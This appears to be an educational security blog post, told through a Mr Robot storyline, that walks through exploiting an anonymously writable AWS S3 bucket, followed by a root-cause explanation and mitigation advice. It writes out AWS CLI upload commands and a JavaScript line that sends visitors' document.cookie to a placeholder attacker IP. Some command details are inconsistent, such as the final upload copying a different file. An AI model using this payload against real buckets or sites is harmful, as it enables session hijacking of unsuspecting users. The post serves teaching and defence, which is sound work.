Authenticated ‘Write’ access — AWS S3 Bucket
(By Sagar and Shubham Kumar)
In this article, we are going to understand how a misconfigured policy results in anonymous read/write access on the AWS S3 bucket.
To have a clear understanding we will continue with the previous analogy of our beloved show Mr Robot.
With the continuous attacks on ECORP infrastructure, Allsafe is worried as their biggest client are getting targeted on daily basis, for remedy Giddeon called the saviour Elliot once again for action.
Elliot reacts quickly to the situation and starts scanning the possible scope of the domains, during the initial assessment he finds a complaint portal: https://complaint.ecorp.net On visiting the portal via browser, Elliot begins the process of reconnaissance to understand the working of the portal however, the complaint portal was static so he moves to review the source code.
Reviewing the HTML source code of a website is a common technique used by adversaries to map the application structure and reveal potenially useful information such as developer comments, hidden form fields, URL paths that may otherwise not be visible in the browser.
After careful analyses Elliot comes up with multiple findings :
- The HTML code reveals that static assets are hosted on ECORP CDN (cdn.ecorp.net).
- Elliot further identifies that a <link> tag is used to set a favicon for the ECORP complaint portal.
<link rel="complaint icon" href="https://ecorp-web-assets.s3.amazonaws.com/assets/images/icons/favicon.ico" type="image/x-icon"/>
3. The last finding is the <script> tag use to load a javascript library ‘loader.js’, both of which are served from AWS S3 bucket, ‘ecorp-web-assets’.
<script src='https://ecorp-web-assets.s3.amazonaws.com/assets/js/loader.js'></script>
Now with initial intel, Elliot moves further to test the S3 bucket security, to accomplish it he fires the command :
#aws s3 ls s3://ecorp-web-assets -no-sign-request
Elliot uses this command with the ‘ls’ option to list the contents of the S3 bucket. However, the command returns an‘ Access denied’ error indicating that directory listing is not permitted on remote S3 bucket.
The next step for Elliot is to check the write access on the S3 bucket, for that he creates a simple-looking text file and try to upload it to ecorp-web-assets.
#echo “Testing S3 Bucket” > test.txt
#aws s3 cp test.txt s3://ecorp-web-assets/assets/images/icons/ -no-sign-request
Interestingly as soon as Elliot enter the above command the file was uploaded to the bucket, which indicated that the S3 bucket is configured to allow write access for anonymous users. To verify the result he visits the link in the browser
https://ecorp-web-assets.s3.amazonaws.com/assets/images/icons/test.txt
To demonstrate the complete threat on the writable S3 bucket, Elliot needs POC against the users accessing the complaint.ecorp.net. To set up his attack he performs the following steps :
- Configure Apache web server on a cloud server instance which can be accessed by an IP, and enable verbose logging so that it's easier to view every HTTP log detail for the corresponding IP address.
- The next step is to download the previously founded loader.js
‘wget -nv https://ecorp-web-assets.s3.amazonaws.com/assets/js/loader.js’
Now Elliot will modify the loader.js into a malicious loader.js, he fires the command -
#echo ‘new Image().src=”http://X.X.X.X/?cookie=" + document.cookie;’ >> loader.js
The echo command is used to append the follwing Malicious line in loader.js
The malicious JavaScript initializes an Image object with its ‘src’ attribute set to Elliot’s remote server X.X.X.X.
The code will further assign the value of the ‘document.cookie’ variable to the URL parameter ‘cookie’, which is then assigned to src attribute.
Confused!!!!
Don’t worry its like, when Elliot’s script runs in a browser that is: ‘<img src=”http://X.X.X.X/?cookie=document.cookie;">’ it will send a GET request to the hosted IP and will pass the value of ‘document.cookie’, this contains the key/value pair of the cookies associated with the ECORP portal. So finally the GET request will be logged in Elliot’s Apache server log file, thereby allowing to steal the user session.
Now the last part is to replace the original ‘loader.js’ with malicious loader.js.Elliot run the following command:
#aws s3 cp jquery.min.js s3://ecorp-web-assets/assets/javascript/ -no-sign-request.
In the end, when Elliot again refresh the browser his own cookie is logged in the apache web server logs with cookie value, Using this technique, Elliot can ultimately compromise multiple Ecorp user accounts and harvest cookies from any user visiting the Ecorp Complaint portal!.
UNDERSTANDING THE VULNERABILITY
To understand the root cause of the publicly writable S3 bucket, we have to review the S3 policy applied to the ECORP complaint portal. For this Elliot fire this command :
#aws s3api get-bucket-policy -bucket ecorp-web-assets -output text | jq
This will bring the policy applied to the ecorp-web-assets.Before analyzing we have to be familiar with certain terminologies, specifically how access-rule are applied to resources.
- Principal: It identifies the user, group, or account that is allowed or denied access to the resource.
- Action: It is declared to specify the set of operations allowed (or denied) on an S3 bucket.
- Resource: It specifies the object or objects that the policy applies to.
Now if we carefully examine the policy, if the principal element is set to “*” means that any user can access the resource. This is also referred anonymous access. The action element is configured as s3.GetObject and s3.PutObject which allow the user to read and write. Both of these misconfigured policies have allowed anonymous users to perform read/write actions on the ECORP S3 bucket.
MITIGATION
Unless an important business use-case, the read and write access should be barred. Developers should further consider and review the security side effects of wildcard policies. In addition to manually reviewing your S3 buckets on a regular basis, developers can consider incorporating Cloud Security Posture Management (CSPM) tools to automate the monitoring, identification, and resolution of misconfigured cloud assets.
